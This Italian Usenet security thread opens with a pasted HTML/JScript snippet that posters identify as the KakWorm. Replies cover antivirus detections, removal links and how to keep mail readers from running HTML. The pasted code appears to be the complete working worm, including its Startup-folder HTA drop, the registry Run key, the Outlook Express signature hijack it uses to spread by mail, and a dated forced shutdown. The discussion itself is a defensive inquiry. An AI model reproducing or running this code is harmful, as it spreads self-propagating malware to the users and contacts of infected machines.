Newsgroup: it.comp.sicurezza.windows
Titolo: sospetti su script HTML

Salve
Metto qui di seguito lo snip di uno script HTML che ho trovato postato
altrove
(non credo di essere OT perchè a me sembrano istruzioni alquanto sospettose,
sembra che voglia andare a trafficare nel registro
-- almeno per quanto ne capisco io 'a naso' .. :)
Vi ringrazio per l'attenzione, augurandomi di non avervi tediato troppo
BEGIN CUT HERE_____________________________
<SCRIPT><!--
function sErr(){return =
true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D"Z<HTML><HEAD><TITLE>Dr=
iver Memory Error</"+"TITLE><HTA:APPLICATION ID=3D\"hO\" =
WINDOWSTATE=3DMinimize></"+"HEAD><BODY BGCOLOR=3D#CCCCCC><object =
id=3D'wsh' =
classid=3D'clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></"+"object><SCRIP=
T>function sEr(){self.close();return true;}window.onerror=3DsEr;fs=3Dnew =
ActiveXObject('Scripting.FileSystemObject');wd=3D'C:\\\\Windows\\\\';fl=3D=
fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=3Dfl.SubFolders;for(var =
mye=3Dnew =
Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=3Dmye.item();ids=3Dnew =
String(idd);idn=3Dids.slice(31);fic=3Didn.substring(1,9);kfr=3Dwd+'MENUD=C9=
~1\\\\PROGRA~1\\\\D=C9MARR~1\\\\kak.hta';ken=3Dwd+'STARTM~1\\\\Programs\\=
\\StartUp\\\\kak.hta';k2=3Dwd+'System\\\\'+fic+'.hta';kk=3D(fs.FileExists=
(kfr))?kfr:ken;aek=3D'C:\\\\AE.KAK';aeb=3D'C:\\\\Autoexec.bat';if(!fs.Fil=
eExists(aek)){re=3D/kak.hta/i;if(hO.commandLine.search(re)!=3D-1){f1=3Dfs=
.GetFile(aeb);f1.Copy(aek);t1=3Df1.OpenAsTextStream(8);pth=3D(kk=3D=3Dkfr=
)?wd+'MENUD=90~1\\\\PROGRA~1\\\\D=90MARR~1\\\\kak.hta':ken;t1.WriteLine('=
@echo off>'+pth);t1.WriteLine('del =
'+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(=
k2).Attributes=3D2;}t2=3Dfs.CreateTextFile(wd+'kak.reg');t2.write('REGEDI=
T4');t2.WriteBlankLines(2);ky=3D'[HKEY_CURRENT_USER\\\\Identities\\\\'+id=
n+'\\\\Software\\\\Microsoft\\\\Outlook =
Express\\\\5.0';sg=3D'\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('\=
"Default =
Signature\"=3D\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\=
\\00000000]');t2.WriteLine('\"name\"=3D\"Signature =
#1\"');t2.WriteLine('\"type\"=3Ddword:00000002');t2.WriteLine('\"text\"=3D=
\"\"');t2.Write('\"file\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.Wri=
teBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature =
Flags\"=3Ddword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCA=
L_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]')=
;t2.Write('\"cAg0u\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.h=
ta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s =
'+wd+'kak.reg');t3=3Dfs.CreateTextFile(wd+'kak.htm',1);t3.Write('<HTML><B=
ODY><DIV =
style=3D\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT =
classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC =
id=3Dscr></"+"OBJECT></"+"DIV>');t4=3Dfs.OpenTextFile(k2,1);while(t4.Read=
(1)!=3D'Z');t3.WriteLine('<SCRIPT><!--');t3.write('function =
sErr(){return =
true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D\"Z');rs=3Dt4.Read(3095=
);t4.close();rd=3D/\\\\/g;re=3D/\"/g;rf=3D/<\\//g;rt=3Drs.replace(rd,'\\\=
\\\\\').replace(re,'\\\\\"').replace(rf,'</"+"\"+\"');t3.WriteLine(rt+'\"=
;la=3D(navigator.systemLanguage)?navigator.systemLanguage:navigator.langu=
age;scr.Path=3D(la=3D=3D\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu =
D=E9marrer\\\\\\\\Programmes\\\\\\\\D=E9marrage\\\\\\\\kak.hta\":\"C:\\\\=
\\\\windows\\\\\\\\Start =
Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\kak.hta\";agt=3Dnavigator.user=
Agent.toLowerCase();if(((agt.indexOf(\"msie\")!=3D-1)&&(parseInt(navigato=
r.appVersion)>4))||(agt.indexOf(\"msie =
5.\")!=3D-1))scr.write();');t3.write('//--></"+"'+'SCRIPT></"+"'+'OBJECT>=
</"+"'+'BODY></"+"'+'HTML>');t3.close();fs.GetFile(wd+'kak.htm').Attribut=
es=3D2;fs.DeleteFile(wd+'kak.reg');d=3Dnew Date();if(d.getDate()=3D=3D1 =
&& d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today =
!');wsh.Run(wd+'RUNDLL32.EXE =
user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 driver memory alloc =
failed &nbsp; =
!]]%%%%%</"+"BODY></"+"HTML>";la=3D(navigator.systemLanguage)?navigator.s=
ystemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\=
Menu D=E9marrer\\Programmes\\D=E9marrage\\kak.hta":"C:\\windows\\Start =
Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()=
;if(((agt.indexOf("msie")!=3D-1)&&(parseInt(navigator.appVersion)>4))||(a=
gt.indexOf("msie 5.")!=3D-1))scr.write();
//--></SCRIPT>
_____________________________END CUT HERE

dovrebbe essere  Wscript.KaKWorm alias VBS.KaK.worm - Kagou-Anti-Krosoft

 ha scritto nel messaggio
news:9702j3$7ap$1...@serv1.albacom.net...


 altrove
 Qualche linea maliziosa ci deve essere, perchè il mio McAfee, all'apertura
del tuo messaggio, mi segnala un virus di nome "JS/Kak@M"

 dovrebbe essere  Wscript.KaKWorm alias VBS.KaK.worm - Kagou-Anti-Krosoft
E perchč quando clicco sul post di_user43_  NAV 2001 mi rileva il suddetto
worm, mentre la scansione su f.i.t. non lo trova?
Tra l'altro il NAv lo mette solo in quarantena.
Pare infetti dei file di IE, ma con quali conseguenze?
E' possibile eliminarlo manualmente dal reg.?
Grazie in anticipo anche x eventuali link x kit dedicati.
Saluti
Żmassimo_

 ha scritto nel messaggio
news:970jtj$mvd1g$1...@ID-61981.news.dfncis.de...


 E' possibile eliminarlo manualmente dal reg.?
grazie alla dritta di max, per maggiori info -->
http://service1.symantec.com/sarc/sarc.nsf/html/Wscript.KakWorm.html

 del tuo messaggio, mi segnala un virus di nome "JS/Kak@M"
PORKA SCHIFA..  ops! porka skifa, anche a me il Nav
lo segnala!! Come puo' mettere sul NG un post cosě scrauso!!
IMHO questo worm installa un srver di NetBus.
Correggetemi se dico ca&&ate. TIA
Saluti
Żmassimo_

Tra l'altro il NAv lo mette solo in quarantena.
Fortunato, il mio nav non lo ha riconosciuto minimamente, mentre ha beccato
la stringa EICAR.
A parte la disabilitazione dell'anteprima, come si può fare a disabilitare
l'apertura dell'html nelle mail?
Quale altro newsreader potrei usare, che ovviamente non mi faccia partire
l'html ?
Grazie
Daniele

altrove
è quasi come quello di 
www.microsfott.com
 : un bel html bastardo che
tenta di installarti Backdoor.MiniCommander.dr
ciao.
--
SecurFaq : 
http://members.nbci.com/gouldukat/
Errore in explorer.exe : l'applicazione ha eseguito un'operazione valida e sarà terminata.

 l'html ?
Free Agent
--
Ciao, e a presto...... !! Oversize !!
L' indirizzo  E-mail e' stato modificato per
rispondere scrivere sulla riga destinatario:
·´¯`·.¸¸.·´¯`> 
over...@libero.it
 <´¯`·.¸¸.·´¯`·

 l'apertura dell'html nelle mail?
Ecco bravo! ;-)) questo interessa anche me.:-)
Devo dire che il prbl č la mancanza di sicurezza
nell'associazione tra l'indirizzo e il prg stesso della posta.
Infatti il mio indirizzo non in chiaro ha permesso cmq al
worm di entrare nel pc.
Quindi a prescindere dall'anteprima, script, html etc..
l'inserimento del link nel formato txt da luogo cmq a un
canale hyper sfruttabile dai worm.
Saluti
Żmassimo_ che quasi volge al pinguino.

 figurati, se hai bisogno di altro, per e-mail, no prob.
by max

 canale hyper sfruttabile dai worm.
Che tipo di worm e' questo ????
Appena ho visualizzato in anteprima la 1° mail del tread il mio Virus Scan
si e' messo a 'saltare' per avvertirmi di un virus !!
Che c***o fa' questo script ???
E' pericoloso ??
Grazie

 E' pericoloso ??
Per chi non ha un AV non oso immaginarlo (sigh).
Cmq scoperto il 30 Dic.99 è di 4kb con 2 varianti A(1kb) B(1kb)
Per maggiori info e tool vai su:
http://service1.symantec.com/sarc/sarc.nsf/html/Wscript.KakWorm.html
¯massimo_

l'html ?
Qualunque altro!!
OE, per quanto mi risulta, e' il SOLO che fa partire l'html e lo esegue
(scripr, worm, virus ed altro compresi).
---
,,, e dopo che ci avranno trasformato in vegetariani, a causa del vino al
metanolo, del pesce al mercurio, dei polli alla diossina, dei maiali agli
ormoni, delle mucche, pecore e capre pazze, ci daranno da mangiare la frutta al
benzene e la verdura radioattiva.
La nostra unica salvezza sara' nel Soylent Green!

Toglietemi una curiosita' :
Le news non sono scritte in modalita' solo testo ????
quella mandata nel primo msg del tread non e' in solo testo ???
Come fa' un codice solamente scritto su di un file a diventare dannoso ???
Mica la news e' in HTML ???
Boh !

 >quella mandata nel primo msg del tread non e' in solo testo ???
CMQ io sono stato attento .. mi sono guardato +bene+ dal postare un virus
HTML in HTML !!
Il thread l'ho iniziato in plain-text :)
Buon lavoro a tutti

 Il thread l'ho iniziato in plain-text :)
Ah meno male!
Ma non č colpa tua.
Żmassimo_

 tenta di installarti Backdoor.MiniCommander.dr
Ciao ragazzi, scusate se rispolvero un thread vecchio di dieci giorni, ma  
mi piacerebbe sapere piu' nei particolari quello che succede quando ci si 
collega su quel sito (visto che io l'ho fatto ma per fortuna mi sono 
accorto subito che qualcosa non andava e sono riuscito a rimediare). Piu' 
o meno credo di aver capito cosa accade, anche se porca miseria sono cose 
che non dovrebbero essere permesse agli script (windows di merda :-)! 
Penso che quando lo script entra in funzione, vada a registrare una voce 
nel registro per l'esecuzione automatica di un certo programma (il 
virus), che viene lanciato solo al prossimo avvio del sistema. Il 
problema e': come e' possibile che il virus venga scaricato dal sito e 
salvato in qualche directory a nostra insaputa? Forse e' presente sotto 
forma di dati tra le righe dello script? Ma agli script e' permesso 
creare nuovi file sul client? Insomma, piu' che altro non so bene quali 
sono le cose permesse o no agli script, in ogni caso oggi come oggi non 
e' possibile navigare tenendoli disattivati, poiche' il 90% dei siti 
oramai li usano. Per la cronaca, il virus che mi ero beccato io era 
"Hooker".
Grazie per l'aiuto.
-- 
//  r a z e